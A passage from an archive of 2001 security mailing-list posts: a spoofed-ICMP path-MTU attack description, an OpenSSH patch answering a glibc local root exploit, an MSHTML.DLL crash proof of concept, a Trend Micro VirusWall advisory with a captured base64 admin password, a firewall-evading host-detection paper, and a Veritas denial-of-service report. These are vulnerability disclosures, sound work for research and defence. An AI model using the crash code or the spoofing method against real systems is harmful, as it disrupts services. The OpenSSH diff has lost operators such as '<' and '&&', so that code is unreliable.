the source address set to A and the dest address set to B. B: creates a new entry in the hash table, if there isn't an old. C: sends an ICMP fragmentation needed but DF set, with the source address set to A and the dest address set to B, quoting the ICMP echo-reply response that we can guess (set the right TOS (usually 0x40) if you want that this works). B: set the new MTU in relation to the quoted packet total len. You may want to send this packets once every second, just to avoid expires. Also This may be useful if the MSS TCP option override the MTU (it shouldn't, but some implementations may do this), otherwise you can send even less spoofed packets. Note that shouldn't be useful to quote a packet that was really sent in this scenario. EXPLOIT Please, write the exploit just to confirm this, don't ship it to lame people. I want not to release my proof-of-concepts code. That's all, can someone confirm this? regards, antirez -- Salvatore Sanfilippo | [EMAIL PROTECTED] http://www.kyuzz.org/antirez | PGP: finger [EMAIL PROTECTED]
Re: Glibc Local Root Exploit
Matt Zimmerman wrote:
On Thu, Jan 11, 2001 at 01:42:52AM +0200, Ari Saastamoinen wrote:
On Wed, 10 Jan 2001, Pedro Margate wrote:
install the ssh binary as suid root by default. This can be disabled
during configuration or after the fact with chmod. I believe that would
That exploit can use any suid root program which resolves host names. (For
example ping and traceroute) So you cannot fix that glibc explot only by
unsetting SUID bit of ssh client.
Or more properly, an suid root program which resolves host names _while still
holding root privileges_. ping from netkit and traceroute from LBNL do not
fall into this category. fping from SATAN, however, does.
As does OpenSSH, somthing that my patch (attached) fixes. The patch is
for OpenSSH 2.3.0p1. Special thanks to Markus Friedl
([EMAIL PROTECTED]) for his help/comments on the
patches. Tested on RedHat 7.0.
--
- mdz
Part 1.2Type: application/pgp-signature
--
Andrew Bartlett
[EMAIL PROTECTED]
--- ssh.origSat Jan 13 12:51:42 2001
+++ ssh.c Sat Jan 13 12:52:02 2001
@@ -611,12 +611,10 @@
rsh_connect(host, options.user, command);
fatal("rsh_connect returned");
}
- /* Restore our superuser privileges. */
- restore_uid();
/*
-* Open a connection to the remote host. This needs root privileges
-* if rhosts_{rsa_}authentication is enabled.
+* Open a connection to the remote host. This regains
+* root privilages as required.
*/
ok = ssh_connect(host, hostaddr, options.port,
@@ -625,6 +623,9 @@
!options.rhosts_rsa_authentication,
original_real_uid,
options.proxy_command);
+
+ /* Restore our superuser privileges. */
+ restore_uid();
/*
* If we successfully made the connection, load the host private key
--- sshconnect.orig Sat Jan 13 12:51:49 2001
+++ sshconnect.cSat Jan 13 12:52:01 2001
@@ -96,6 +96,7 @@
char *argv[10];
/* Child. Permanently give up superuser privileges. */
+ restore_uid();
permanently_set_uid(original_real_uid);
/* Redirect stdin and stdout. */
@@ -155,21 +156,22 @@
*/
if (privileged) {
int p = IPPORT_RESERVED - 1;
+ /* Restore our superuser privileges. */
+ restore_uid();
sock = rresvport_af(p, family);
+ /* Back to normal user. */
+ temporarily_use_uid(original_real_uid);
if (sock 0)
error("rresvport: af=%d %.100s", family, strerror(errno));
else
debug("Allocated local port %d.", p);
} else {
/*
-* Just create an ordinary socket on arbitrary port. We use
-* the user's uid to create the socket.
+* Just create an ordinary socket on arbitrary port.
*/
- temporarily_use_uid(original_real_uid);
sock = socket(family, SOCK_STREAM, 0);
if (sock 0)
error("socket: %.100s", strerror(errno));
- restore_uid();
}
return sock;
}
@@ -248,11 +250,7 @@
/* Create a socket for connecting. */
sock = ssh_create_socket(original_real_uid,
-#ifdef HAVE_CYGWIN
!anonymous port IPPORT_RESERVED,
-#else
- !anonymous geteuid() == 0 port IPPORT_RESERVED,
-#endif
ai-ai_family);
if (sock 0)
continue;
@@ -261,15 +259,12 @@
* hope that it will help with tcp_wrappers showing
* the remote uid as root.
*/
- temporarily_use_uid(original_real_uid);
if (connect(sock, ai-ai_addr, ai-ai_addrlen) = 0) {
/* Successful connection. */
memcpy(hostaddr, ai-ai_addr, ai-ai_addrlen);
- restore_uid();
break;
} else {
debug("connect: %.100s", strerror(errno));
- restore_uid();
/*
* Close the failed socket; there appear to
* be some problems when reusing a socket for
Stack Overflow in MSHTML.DLL
Stack Overflow in MSHTML.DLL
Systems affected:
Any program using MSHTML.DLL for HTML parsing (Internet Explorer,
Outlook/Outlook Express and other HTML-enabled emailreaders).
Reliably tested on IE4.0 and higher on any Windows system, with any servicepacks
and patches.
Older versions of MSHTML.DLL may be affected too, but remains untested.
Risk: Low/Medium
Description:
MSHTML.DLL crashes with a Stack Overflow from simple scripting.
Details:
The bug is only experienced when dealing with multiple window objects, where one
is receiving data. To reproduce the bug, create a JScript object, set a property
on the object from the window object receiving data, delete the object and
create it again.
No exploitable buffer overflows have been found so far.
Code:
InstantCrash.html-
iframe id=test style="display:none"/iframe
script
Larholm = {}; // Object literal
test.document.open(); // Stream data
test.document.write("s"+"cripttop.Larholm.test=0/s"+"cript");
delete Larholm;
Larholm = {}; // Crash
/script
--
Workaround:
Disable Active Scripting.
Vendor status:
Microsoft was contacted on 4 December 2000.
Bug is considered to be a code quality bug, and will be adressed in a future SP
for IE.
--
Thor Larholm
Trend Micro's VirusWall: Multiple vunerabilities
InterScan VirusWall - multiple vunerabilities ***SUMMARY*** Product: Interscan VirusWall for UNIX Vendor: Trend Micro Testing Platform: RedHat Linux 6.2 vunerable version: 3.0.1 3.6.x non-vunerable versions: unknown Vendor: Trend Micro Issues: This advisory covers three separate issues 1) insecure password change mechanism - Password change information is sent from the administrator's browser to the setpasswd.cgi program in clear text. 2) weak authentication method allows password recovery - each GET request contains the base64 encoded username:password pair of the administrator. This can easily be converted to plain text. 3) predictable files names for root-owned temporary files - Installation or removal of this InterScan VirusWall can allow local users to become root. Impact: Issues 1 2 could allow unauthorized individuals to learn the password for the 'admin' account on this box. Using this password, they could disable virus scanning, change the types of files that are scanned, or alter the response the machine makes to files containing viruses. Issue 3 could provide an attacker with a priviledged account they might use to attack other machines within a network. Fixes: On Dec. 29 a Trend Micro representative informed me that no patches will be released, but the new version of ISVW (estimated release late Feb. or early Mar.) will contain fixes for these vunerabilities. Work-arounds: Only install ISVW on a stand-alone box. Don't use the browser-based configuration tools remotely unless you are confident that your network is not being sniffed. Contact History: Trend Micro was contacted three times (once per vunerability) December 26-27. They've assigned these three vunerabilities to CASE ID# TDSC-237EA95D Researcher: Joey Maier [EMAIL PROTECTED] === ***BACKGROUND*** Trend Micro's InterScanVirusWall (a.k.a. 'ISVW') is a product that is designed to provide "Real-time virus detection and clean-up for all SMTP, HTTP, and FTP Internet traffic at the gateway" (see http://www.antivirus.com/products/isvw/ for details on this product) Trend Micro has versions of ISVW for NT, Solaris, HP-UX and Linux. This advisory only covers the Linux version. It is unknown if the NT, Solaris and HP-UX versions of this product display the same behavior. === *** DETAILS - insecure password change mechanism *** Installation of the ISVW package on a RedHat linux 6.2 box places a web server on port 1812. This web server runs a variety of CGIs that provide web-based administration functionality. One of these is setpasswd.cgi, which is used to change the administrative password for ISVW. As the following snort log shows, the old and new passwords are sent in clear text to setpasswd.cgi via a GET request. 12/22-10:59:23.150987 172.16.105.36:1247 - 172.16.104.122:1812 TCP TTL:128 TOS:0x0 ID:21767 DF *PA* Seq: 0x3D5513F Ack: 0xE257706 Win: 0x2238 47 45 54 20 2F 73 65 74 70 61 73 73 77 64 2E 63 GET /setpasswd.c 67 69 3F 4F 50 41 53 53 3D 6F 6C 64 70 61 73 73 gi?OPASS=oldpass 77 6F 72 64 2B 26 50 41 53 53 32 3D 6E 65 77 70 word+PASS2=newp 61 73 73 77 6F 72 64 26 50 41 53 53 33 3D 6E 65 asswordPASS3=ne 77 70 61 73 73 77 6F 72 64 20 48 54 54 50 2F 31 wpassword HTTP/1 2E 30 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 74 .0..Referer: htt 70 3A 2F 2F 31 37 32 2E 31 36 2E 31 30 34 2E 31 p://172.16.104.1 32 32 3A 31 38 31 32 2F 70 61 73 73 77 64 2E 63 22:1812/passwd.c 67 69 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 gi..Connection: 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 55 73 65 72 Keep-Alive..User 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F -Agent: Mozilla/ 34 2E 36 31 20 5B 65 6E 5D 20 28 57 69 6E 4E 54 4.61 [en] (WinNT 3B 20 55 29 0D 0A 48 6F 73 74 3A 20 31 37 32 2E ; U)..Host: 172. 31 36 2E 31 30 34 2E 31 32 32 3A 31 38 31 32 0D 16.104.122:1812. 0A 41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 .Accept: image/g 69 66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 if, image/x-xbit 6D 61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C map, image/jpeg, 20 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 69 6D image/pjpeg, im 61 67 65 2F 70 6E 67 2C 20 2A 2F 2A 0D 0A 41 63 age/png, */*..Ac 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g 7A 69 70 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 zip..Accept-Lang 75 61 67 65 3A 20 65 6E 0D 0A 41 63 63 65 70 74 uage: en..Accept 2D 43 68 61 72 73 65 74 3A 20 69 73 6F 2D 38 38 -Charset: iso-88 35 39 2D 31 2C 2A 2C 75 74 66 2D 38 0D 0A 41 75 59-1,*,utf-8..Au 74 68 6F 72 69 7A 61 74 69 6F 6E 3A 20 42 61 73 thorization: Bas 69 63 20 59 57 52 74 61 57 34 36 62 32 78 6B 63 ic YWRtaW46b2xkc 47 46 7A
Advanced Host Detection
PDF version is available at http://www.synnergy.net/?dir=Papers/dethy Advanced Host Detection Techniques To Validate Host-Connectivity whitepaper by dethy [EMAIL PROTECTED] Abstract Security Engineers spend a tireless amount of effort to block and filter packet anomalies in an internetwork connected environment. Advanced host mapping bypasses many forms of intrusion detection systems, filters, and routers, essentially enabling an attacker to map and discover previously unknown firewalled hosts. Introduction This paper will attempt to describe techniques used to discover heavily filtered and firewalled hosts, that will not answer to standard PING responses. It is assumed that the reader has a firm knowledge of the major internet protocols (TCP,IP,UDP,ICMP). Most other protocols will not be discussed but techniques described here can be applied to many protocols. Host Detection Methods It is becoming increasingly apparent the amount of firewalled and filtered hosts connected to the internet nowadays. Misconfigured and intrinsically firewalled hosts often block packet responses and replies that determine their (inter)network connectivity. A prime example of this scenario is the standard PING (packet internet groper) utility. PING issues an ICMP type 3 (echo request) response to an arbitrary host to test for it's online connectivity. However, since a growing number of these servers block many forms of ICMP code types, a reply will often be blocked, dropped and thus undelivered. Unfortunately, a client may then assume the network or host is down or inconveniently firewalled. Exactly how can one knowingly detect the online presence of a host ? Understanding avenues which can circumvent certain levels of firewall rulesets, will ultimately allow a client to determine whether a host is network connected and/or behind a filtered environment. This technique is known as 'Host Detection. Host detection is similar to scanning in several ways although host detection does not test for the absence of packets to ports or modifications pertaining to protocol headers, ie setting flagged packet replies, but rather tests any responsiveness signs of issued from the remote host. In this respect, host- detection is a form of PING scanning, that is detecting any form of response to signify the apparent connective state of a server. This paper analyses two broad 'PING sweep' host detection techniques that can be used in a (inter)networked environment for advanced host mapping. * eliciting valid protocol responses * generating invalid server-side protocol responses The first method includes eliciting valid responses from supported protocols on a host. Any valid request from a client issued to a server over TCP/IP/UDP/ICMP that will assume a reply, in terms of an answered request, is confined into this category. Such methods include: * UDP Echo * TCP Echo * UDP Closed Ports * TCP ACK * TCP SYN * TCP SYN|ACK * TCP FIN * TCP NULL FLAGS * TCP XMAS * ICMP Echo Request (Type 8) * ICMP Broadcast * ICMP Router Solicitation (Type 10) * ICMP Timestamp Request (Type 13) * ICMP Information Request (Type 15) * ICMP Address Mask Request (Type 17) Opposing these RFC-compliant replies are the underlying methods to generate invalid responses from the target host in order to determine its hidden presence. Of course receiving a reply from any of these methods will allow us to knowingly detect whether a host is online and/or firewalled. These methods include: * Timedout Packet Fragmentation * Invalid IP Header Length * Invalid IP Field Values Eliciting Valid Protocol Requests The first definitive category of host detecting takes place in the form of eliciting valid protocol queries. Several such methods are included using valid packet requests. * Echo port method * UDP method * TCP FLAG method * ICMP request method All of the above categories are possible methods that allow any arbitrary client to request a returned packet reply in order to determine it's interconnectivity. As such, the packets returned and transmitted are valid protocol responses, and thus is differentiated from generating invalided responses since each request correctly uses TCP/IP/UDP/ICMP protocols without mangling any of the available fields. ECHO Port Method This old-fashioned and outdated technique used to determine a host responsiveness at a very basic level can be still used on poorly/misconfigured UNIX hosts. Most often a security conscious administrator will block traffic to port 7 TCP/UDP or disable this service which runs from inetd. TCP/Echo Port This simplistic method uses a standard three-way TCP
The Honeynet Project's Forensic Challenge
[This message is being blind-copied to several email lists, in hopes of reaching security incident handlers and computer intrusion investigators who may wish to participate. Sorry if this causes duplicates. If you know of another list with a similar constituency that did not directly receive this message, feel free to forward it.] *** You've seen the yearly CSI/FBI computer crime survey results. You've read the book "The Cuckoo's Egg." You've watched a pirated copy of the video "Hackers." You've winced at the initial volume of the [EMAIL PROTECTED] email list. You've lined your bird cage with the Wall Street Journal article about the Honeynet Project. And yet, you still wake up every afternoon and ask yourself, "When do *I* get to analyze an 'in the wild' hacked system and claim my fifteen minutes of fame?" Well, your moment has arrived! The Honeynet Project is announcing a first ever opportunity for the Internet security community, the Forensic Challenge. Your mission is to do a forensic examination of a Linux honeypot compromised in the wild, produce a report, maybe walk away with a prize or world-wide glory, and for sure have some fun contributing to the science of computer forensic analysis! The best 20 submissions will win a copy of "Hacking Exposed", Second Edition (courtesey of Foundstone). The deadline for submissions is February 15, 2001. The winning entries will be announced March 19, 2001. The fun begins NOW! If you are interested and want to join in the Challenge, you can find full details and rules here: http://project.honeynet.org/challenge/ *** -- Dave Dittrich c/o [EMAIL PROTECTED]
Veritas BackupExec (remote DoS)
Hello, I am using Backup system from Veritas Software (http://www.veritas.com/) and its Linux agent. That agent is listening TCP-socket (8192 in my system) and if someone makes connection to that socket, but do not send anything to it, the agent hangs forever, even if you close that connection. For example portscanners make it to hang. I think that the problem is that the software is not using select() function calls before read() calls and it is not using threads either. I reported that to the Veritas and they replied "Unfortunately our Backup Exec Desktop Products do not support backing up Linux machines. I'm afraid we would be unable to assist you in this instance, however thank you for your interest." -- Ari Saastamoinen [EMAIL PROTECTED]
